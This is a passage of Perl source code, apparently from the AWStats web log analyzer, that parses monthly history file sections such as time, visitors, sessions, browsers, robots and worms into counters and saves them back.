$field[0] eq 'BEGIN_MISC' ) { if ($Debug) { debug(" Begin of MISC section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'misc'} ) { $countloaded++; if ( $field[1] ) { $_misc_p{ $field[0] } += int( $field[1] ); } if ( $field[2] ) { $_misc_h{ $field[0] } += int( $field[2] ); } if ( $field[3] ) { $_misc_k{ $field[0] } += int( $field[3] ); } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_MISC' || $field[0] eq "${xmleb}END_MISC" || !$_ ); if ( $field[0] ne 'END_MISC' && $field[0] ne "${xmleb}END_MISC" ) { error( "History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of MISC section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'misc'}; if ( $SectionsToSave{'misc'} ) { Save_History( 'misc', $year, $month, $date ); delete $SectionsToSave{'misc'}; if ($withpurge) { %_misc_p = (); %_misc_h = (); %_misc_k = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_CLUSTER if ( $field[0] eq 'BEGIN_CLUSTER' ) { if ($Debug) { debug(" Begin of CLUSTER section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'cluster'} ) { $countloaded++; if ( $field[1] ) { $_cluster_p{ $field[0] } += int( $field[1] ); } if ( $field[2] ) { $_cluster_h{ $field[0] } += int( $field[2] ); } if ( $field[3] ) { $_cluster_k{ $field[0] } += int( $field[3] ); } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_CLUSTER' || $field[0] eq "${xmleb}END_CLUSTER" || !$_ ); if ( $field[0] ne 'END_CLUSTER' && $field[0] ne "${xmleb}END_CLUSTER" ) { error( "History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of CLUSTER section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'cluster'}; if ( $SectionsToSave{'cluster'} ) { Save_History( 'cluster', $year, $month, $date ); delete $SectionsToSave{'cluster'}; if ($withpurge) { %_cluster_p = (); %_cluster_h = (); %_cluster_k = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_TIME if ( $field[0] eq 'BEGIN_TIME' ) { my $monthpages = 0; my $monthhits = 0; my $monthbytes = 0; my $monthnotviewedpages = 0; my $monthnotviewedhits = 0; my $monthnotviewedbytes = 0; if ($Debug) { debug(" Begin of TIME section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ne '' ) { # Test on ne '' because field[0] is '0' for hour 0) $count++; if ( $SectionsToLoad{'time'} ) { if ( $withupdate || $MonthRequired eq 'all' || $MonthRequired eq "$month" ) { # Still required $countloaded++; if ( $field[1] ) { $_time_p[ $field[0] ] += int( $field[1] ); } if ( $field[2] ) { $_time_h[ $field[0] ] += int( $field[2] ); } if ( $field[3] ) { $_time_k[ $field[0] ] += int( $field[3] ); } if ( $field[4] ) { $_time_nv_p[ $field[0] ] += int( $field[4] ); } if ( $field[5] ) { $_time_nv_h[ $field[0] ] += int( $field[5] ); } if ( $field[6] ) { $_time_nv_k[ $field[0] ] += int( $field[6] ); } } $monthpages += int( $field[1] ); $monthhits += int( $field[2] ); $monthbytes += int( $field[3] ); $monthnotviewedpages += int( $field[4] || 0 ); $monthnotviewedhits += int( $field[5] || 0 ); $monthnotviewedbytes += int( $field[6] || 0 ); } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_TIME' || $field[0] eq "${xmleb}END_TIME" || !$_ ); if ( $field[0] ne 'END_TIME' && $field[0] ne "${xmleb}END_TIME" ) { error( "History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of TIME section ($count entries, $countloaded loaded)" ); } $MonthPages{ $year . $month } += $monthpages; $MonthHits{ $year . $month } += $monthhits; $MonthBytes{ $year . $month } += $monthbytes; $MonthNotViewedPages{ $year . $month } += $monthnotviewedpages; $MonthNotViewedHits{ $year . $month } += $monthnotviewedhits; $MonthNotViewedBytes{ $year . $month } += $monthnotviewedbytes; delete $SectionsToLoad{'time'}; if ( $SectionsToSave{'time'} ) { Save_History( 'time', $year, $month, $date ); delete $SectionsToSave{'time'}; if ($withpurge) { @_time_p = (); @_time_h = (); @_time_k = (); @_time_nv_p = (); @_time_nv_h = (); @_time_nv_k = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_ORIGIN if ( $field[0] eq 'BEGIN_ORIGIN' ) { if ($Debug) { debug(" Begin of ORIGIN section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'origin'} ) { if ( $field[0] eq 'From0' ) { $_from_p[0] += $field[1]; $_from_h[0] += $field[2]; } elsif ( $field[0] eq 'From1' ) { $_from_p[1] += $field[1]; $_from_h[1] += $field[2]; } elsif ( $field[0] eq 'From2' ) { $_from_p[2] += $field[1]; $_from_h[2] += $field[2]; } elsif ( $field[0] eq 'From3' ) { $_from_p[3] += $field[1]; $_from_h[3] += $field[2]; } elsif ( $field[0] eq 'From4' ) { $_from_p[4] += $field[1]; $_from_h[4] += $field[2]; } elsif ( $field[0] eq 'From5' ) { $_from_p[5] += $field[1]; $_from_h[5] += $field[2]; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_ORIGIN' || $field[0] eq "${xmleb}END_ORIGIN" || !$_ ); if ( $field[0] ne 'END_ORIGIN' && $field[0] ne "${xmleb}END_ORIGIN" ) { error( "History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of ORIGIN section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'origin'}; if ( $SectionsToSave{'origin'} ) { Save_History( 'origin', $year, $month, $date ); delete $SectionsToSave{'origin'}; if ($withpurge) { @_from_p = (); @_from_h = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_DAY if ( $field[0] eq 'BEGIN_DAY' ) { if ($Debug) { debug(" Begin of DAY section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'day'} ) { $countloaded++; if ( $field[1] ) { $DayPages{ $field[0] } += int( $field[1] ); } $DayHits{ $field[0] } += int( $field[2] ) ; # DayHits always load (should be >0 and if not it's a day YYYYMM00 resulting of an old file migration) if ( $field[3] ) { $DayBytes{ $field[0] } += int( $field[3] ); } if ( $field[4] ) { $DayVisits{ $field[0] } += int( $field[4] ); } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_DAY' || $field[0] eq "${xmleb}END_DAY" || !$_ ); if ( $field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY" ) { error( "History file \"$filetoread\" is corrupted (End of section DAY not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of DAY section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'day'}; # WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR #if ($SectionsToSave{'day'}) { # Must be made after read of visitor # Save_History('day',$year,$month,$date); delete $SectionsToSave{'day'}; # if ($withpurge) { %DayPages=(); %DayHits=(); %DayBytes=(); %DayVisits=(); } #} if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_VISITOR if ( $field[0] eq 'BEGIN_VISITOR' ) { if ($Debug) { debug(" Begin of VISITOR section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; # For backward compatibility if ($readvisitorforbackward) { if ( $field[1] ) { $MonthUnique{ $year . $month }++; } if ( $MonthRequired ne 'all' ) { if ( $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/ && $field[0] !~ /^[0-9A-F]*:/i ) { $MonthHostsKnown{ $year . $month }++; } else { $MonthHostsUnknown{ $year . $month }++; } } } # Process data saved in 'wait' arrays if ( $withupdate && $_waithost_e{ $field[0] } ) { my $timehostl = int( $field[4] || 0 ); my $timehosts = int( $field[5] || 0 ); my $newtimehosts = ( $_waithost_s{ $field[0] } ? $_waithost_s{ $field[0] } : $_host_s{ $field[0] } ); my $newtimehostl = ( $_waithost_l{ $field[0] } ? $_waithost_l{ $field[0] } : $_host_l{ $field[0] } ); if ( $newtimehosts > $timehostl + $VISITTIMEOUT ) { if ($Debug) { debug( " Visit for $field[0] in 'wait' arrays is a new visit different than last in history", 4 ); } if ( $field[6] ) { $_url_x{ $field[6] }++; } $_url_e{ $_waithost_e{ $field[0] } }++; $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/; $DayVisits{$1}++; if ( $timehosts && $timehostl ) { $_session{ GetSessionRange( $timehosts, $timehostl ) }++; } if ( $_waithost_s{ $field[0] } ) { # First session found in log was followed by another one so it's finished $_session{ GetSessionRange( $newtimehosts, $newtimehostl ) }++; } # Here $_host_l $_host_s and $_host_u are correctly defined } else { if ($Debug) { debug( " Visit for $field[0] in 'wait' arrays is following of last visit in history", 4 ); } if ( $_waithost_s{ $field[0] } ) { # First session found in log was followed by another one so it's finished $_session{ GetSessionRange( MinimumButNoZero( $timehosts, $newtimehosts ), $timehostl > $newtimehostl ? $timehostl : $newtimehostl ) }++; # Here $_host_l $_host_s and $_host_u are correctly defined } else { # We correct $_host_l $_host_s and $_host_u if ( $timehostl > $newtimehostl ) { $_host_l{ $field[0] } = $timehostl; $_host_u{ $field[0] } = $field[6]; } if ( $timehosts < $newtimehosts ) { $_host_s{ $field[0] } = $timehosts; } } } delete $_waithost_e{ $field[0] }; delete $_waithost_l{ $field[0] }; delete $_waithost_s{ $field[0] }; delete $_waithost_u{ $field[0] }; } # Load records if ( $readvisitorforbackward != 2 && $SectionsToLoad{'visitor'} ) { # if readvisitorforbackward==2 we do not load my $loadrecord = 0; if ($withupdate) { $loadrecord = 1; } else { if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) { if ( ( !$FilterIn{'host'} || $field[0] =~ /$FilterIn{'host'}/i ) && ( !$FilterEx{'host'} || $field[0] !~ /$FilterEx{'host'}/i ) ) { $loadrecord = 1; } } elsif ($MonthRequired eq 'all' || $field[2] >= $MinHit{'Host'} ) { if ( $HTMLOutput{'unknownip'} && ( $field[0] =~ /^\d+\.\d+\.\d+\.\d+$/ || $field[0] =~ /^[0-9A-F]*:/i ) ) { $loadrecord = 1; } elsif ( $HTMLOutput{'main'} && ( $MonthRequired eq 'all' || $countloaded < $MaxNbOf{'HostsShown'} ) ) { $loadrecord = 1; } } } if ($loadrecord) { if ( $field[1] ) { $_host_p{ $field[0] } += $field[1]; } if ( $field[2] ) { $_host_h{ $field[0] } += $field[2]; } if ( $field[3] ) { $_host_k{ $field[0] } += $field[3]; } if ( $field[4] && !$_host_l{ $field[0] } ) { # We save last connexion params if not previously defined $_host_l{ $field[0] } = int( $field[4] ); if ($withupdate) { # field[5] field[6] are used only for update if ( $field[5] && !$_host_s{ $field[0] } ) { $_host_s{ $field[0] } = int( $field[5] ); } if ( $field[6] && !$_host_u{ $field[0] } ) { $_host_u{ $field[0] } = $field[6]; } } } $countloaded++; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_VISITOR' || $field[0] eq "${xmleb}END_VISITOR" || !$_ ); if ( $field[0] ne 'END_VISITOR' && $field[0] ne "${xmleb}END_VISITOR" ) { error( "History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of VISITOR section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'visitor'}; # WE DO NOT SAVE SECTION NOW TO BE SURE TO HAVE THIS LARGE SECTION NOT AT THE BEGINNING OF FILE #if ($SectionsToSave{'visitor'}) { # Save_History('visitor',$year,$month,$date); delete $SectionsToSave{'visitor'}; # if ($withpurge) { %_host_p=(); %_host_h=(); %_host_k=(); %_host_l=(); %_host_s=(); %_host_u=(); } #} if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_UNKNOWNIP for backward compatibility if ( $field[0] eq 'BEGIN_UNKNOWNIP' ) { my %iptomigrate = (); if ($Debug) { debug(" Begin of UNKNOWNIP section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'unknownip'} ) { $iptomigrate{ $field[0] } = $field[1] || 0; $countloaded++; } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_UNKNOWNIP' || $field[0] eq "${xmleb}END_UNKNOWNIP" || !$_ ); if ( $field[0] ne 'END_UNKNOWNIP' && $field[0] ne "${xmleb}END_UNKNOWNIP" ) { error( "History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of UNKOWNIP section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'visitor'}; # THIS SECTION IS NEVER SAVED. ONLY READ FOR MIGRATE AND CONVERTED INTO VISITOR SECTION foreach ( keys %iptomigrate ) { $_host_p{$_} += int( $_host_p{'Unknown'} / $countloaded ); $_host_h{$_} += int( $_host_h{'Unknown'} / $countloaded ); $_host_k{$_} += int( $_host_k{'Unknown'} / $countloaded ); if ( $iptomigrate{$_} > 0 ) { $_host_l{$_} = $iptomigrate{$_}; } } delete $_host_p{'Unknown'}; delete $_host_h{'Unknown'}; delete $_host_k{'Unknown'}; delete $_host_l{'Unknown'}; if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_LOGIN if ( $field[0] eq 'BEGIN_LOGIN' ) { if ($Debug) { debug(" Begin of LOGIN section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'login'} ) { $countloaded++; if ( $field[1] ) { $_login_p{ $field[0] } += $field[1]; } if ( $field[2] ) { $_login_h{ $field[0] } += $field[2]; } if ( $field[3] ) { $_login_k{ $field[0] } += $field[3]; } if ( !$_login_l{ $field[0] } && $field[4] ) { $_login_l{ $field[0] } = int( $field[4] ); } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_LOGIN' || $field[0] eq "${xmleb}END_LOGIN" || !$_ ); if ( $field[0] ne 'END_LOGIN' && $field[0] ne "${xmleb}END_LOGIN" ) { error( "History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of LOGIN section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'login'}; if ( $SectionsToSave{'login'} ) { Save_History( 'login', $year, $month, $date ); delete $SectionsToSave{'login'}; if ($withpurge) { %_login_p = (); %_login_h = (); %_login_k = (); %_login_l = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_DOMAIN if ( $field[0] eq 'BEGIN_DOMAIN' ) { if ($Debug) { debug(" Begin of DOMAIN section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'domain'} ) { $countloaded++; if ( $field[1] ) { $_domener_p{ $field[0] } += $field[1]; } if ( $field[2] ) { $_domener_h{ $field[0] } += $field[2]; } if ( $field[3] ) { $_domener_k{ $field[0] } += $field[3]; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_DOMAIN' || $field[0] eq "${xmleb}END_DOMAIN" || !$_ ); if ( $field[0] ne 'END_DOMAIN' && $field[0] ne "${xmleb}END_DOMAIN" ) { error( "History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of DOMAIN section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'domain'}; if ( $SectionsToSave{'domain'} ) { Save_History( 'domain', $year, $month, $date ); delete $SectionsToSave{'domain'}; if ($withpurge) { %_domener_p = (); %_domener_h = (); %_domener_k = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_SESSION if ( $field[0] eq 'BEGIN_SESSION' ) { if ($Debug) { debug(" Begin of SESSION section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'session'} ) { $countloaded++; if ( $field[1] ) { $_session{ $field[0] } += $field[1]; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_SESSION' || $field[0] eq "${xmleb}END_SESSION" || !$_ ); if ( $field[0] ne 'END_SESSION' && $field[0] ne "${xmleb}END_SESSION" ) { error( "History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of SESSION section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'session'}; # WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR #if ($SectionsToSave{'session'}) { # Save_History('session',$year,$month,$date); delete $SectionsToSave{'session'}; } # if ($withpurge) { %_session=(); } #} if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_OS if ( $field[0] eq 'BEGIN_OS' ) { if ($Debug) { debug(" Begin of OS section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'os'} ) { $countloaded++; if ( $field[1] ) { $_os_h{ $field[0] } += $field[1]; $_os_p{ $field[0] } += $field[2]; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_OS' || $field[0] eq "${xmleb}END_OS" || !$_ ); if ( $field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS" ) { error( "History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of OS section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'os'}; if ( $SectionsToSave{'os'} ) { Save_History( 'os', $year, $month, $date ); delete $SectionsToSave{'os'}; if ($withpurge) { %_os_h = (); %_os_p = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_BROWSER if ( $field[0] eq 'BEGIN_BROWSER' ) { if ($Debug) { debug(" Begin of BROWSER section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'browser'} ) { $countloaded++; if ( $field[1] ) { $_browser_h{ $field[0] } += $field[1]; $_browser_p{ $field[0] } += $field[2]; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_BROWSER' || $field[0] eq "${xmleb}END_BROWSER" || !$_ ); if ( $field[0] ne 'END_BROWSER' && $field[0] ne "${xmleb}END_BROWSER" ) { error( "History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of BROWSER section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'browser'}; if ( $SectionsToSave{'browser'} ) { Save_History( 'browser', $year, $month, $date ); delete $SectionsToSave{'browser'}; if ($withpurge) { %_browser_h = (); %_browser_p = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_UNKNOWNREFERER if ( $field[0] eq 'BEGIN_UNKNOWNREFERER' ) { if ($Debug) { debug(" Begin of UNKNOWNREFERER section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'unknownreferer'} ) { $countloaded++; if ( !$_unknownreferer_l{ $field[0] } ) { $_unknownreferer_l{ $field[0] } = int( $field[1] ); } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_UNKNOWNREFERER' || $field[0] eq "${xmleb}END_UNKNOWNREFERER" || !$_ ); if ( $field[0] ne 'END_UNKNOWNREFERER' && $field[0] ne "${xmleb}END_UNKNOWNREFERER" ) { error( "History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of UNKNOWNREFERER section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'unknownreferer'}; if ( $SectionsToSave{'unknownreferer'} ) { Save_History( 'unknownreferer', $year, $month, $date ); delete $SectionsToSave{'unknownreferer'}; if ($withpurge) { %_unknownreferer_l = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_UNKNOWNREFERERBROWSER if ( $field[0] eq 'BEGIN_UNKNOWNREFERERBROWSER' ) { if ($Debug) { debug(" Begin of UNKNOWNREFERERBROWSER section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'unknownrefererbrowser'} ) { $countloaded++; if ( !$_unknownrefererbrowser_l{ $field[0] } ) { $_unknownrefererbrowser_l{ $field[0] } = int( $field[1] ); } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER' || $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER" || !$_ ); if ( $field[0] ne 'END_UNKNOWNREFERERBROWSER' && $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" ) { error( "History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'unknownrefererbrowser'}; if ( $SectionsToSave{'unknownrefererbrowser'} ) { Save_History( 'unknownrefererbrowser', $year, $month, $date ); delete $SectionsToSave{'unknownrefererbrowser'}; if ($withpurge) { %_unknownrefererbrowser_l = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_SCREENSIZE if ( $field[0] eq 'BEGIN_SCREENSIZE' ) { if ($Debug) { debug(" Begin of SCREENSIZE section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'screensize'} ) { $countloaded++; if ( $field[1] ) { $_screensize_h{ $field[0] } += $field[1]; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_SCREENSIZE' || $field[0] eq "${xmleb}END_SCREENSIZE" || !$_ ); if ( $field[0] ne 'END_SCREENSIZE' && $field[0] ne "${xmleb}END_SCREENSIZE" ) { error( "History file \"$filetoread\" is corrupted (End of section SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of SCREENSIZE section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'screensize'}; if ( $SectionsToSave{'screensize'} ) { Save_History( 'screensize', $year, $month, $date ); delete $SectionsToSave{'screensize'}; if ($withpurge) { %_screensize_h = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_ROBOT if ( $field[0] eq 'BEGIN_ROBOT' ) { if ($Debug) { debug(" Begin of ROBOT section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'robot'} ) { $countloaded++; if ( $field[1] ) { $_robot_h{ $field[0] } += $field[1]; } $_robot_k{ $field[0] } += $field[2]; if ( !$_robot_l{ $field[0] } ) { $_robot_l{ $field[0] } = int( $field[3] ); } if ( $field[4] ) { $_robot_r{ $field[0] } += $field[4]; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_ROBOT' || $field[0] eq "${xmleb}END_ROBOT" || !$_ ); if ( $field[0] ne 'END_ROBOT' && $field[0] ne "${xmleb}END_ROBOT" ) { error( "History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of ROBOT section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'robot'}; if ( $SectionsToSave{'robot'} ) { Save_History( 'robot', $year, $month, $date ); delete $SectionsToSave{'robot'}; if ($withpurge) { %_robot_h = (); %_robot_k = (); %_robot_l = (); %_robot_r = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_WORMS if ( $field[0] eq 'BEGIN_WORMS' ) { if ($Debug) { debug(" Begin of WORMS section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'worms'} ) { $countloaded++; if ( $field[1] ) { $_worm_h{ $field[0] } += $field[1]; } $_worm_k{ $field[0] } += $field[2]; if ( !$_worm_l{ $field[0] } ) { $_worm_l{ $field[0] } = int( $field[3] ); } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_WORMS' || $field[0] eq "${xmleb}END_WORMS" || !$_ ); if ( $field[0] ne 'END_WORMS' && $field[0] ne "${xmleb}END_WORMS" ) { error( "History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of WORMS section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'worms'}; if ( $SectionsToSave{'worms'} ) { Save_History( 'worms', $year, $month, $date ); delete $SectionsToSave{'worms'}; if ($withpurge) { %_worm_h = (); %_worm_k = (); %_worm_l = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_EMAILS if ( $field[0] eq 'BEGIN_EMAILSENDER' ) { if ($Debug) { debug(" Begin of EMAILSENDER section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'emailsender'} ) { $countloaded++; if ( $field[1] ) { $_emails_h{ $field[0] } += $field[1]; } if ( $field[2] ) { $_emails_k{ $field[0] } += $field[2]; } if ( !$_emails_l{ $field[0] } ) { $_emails_l{ $field[0] } = int( $field[3] 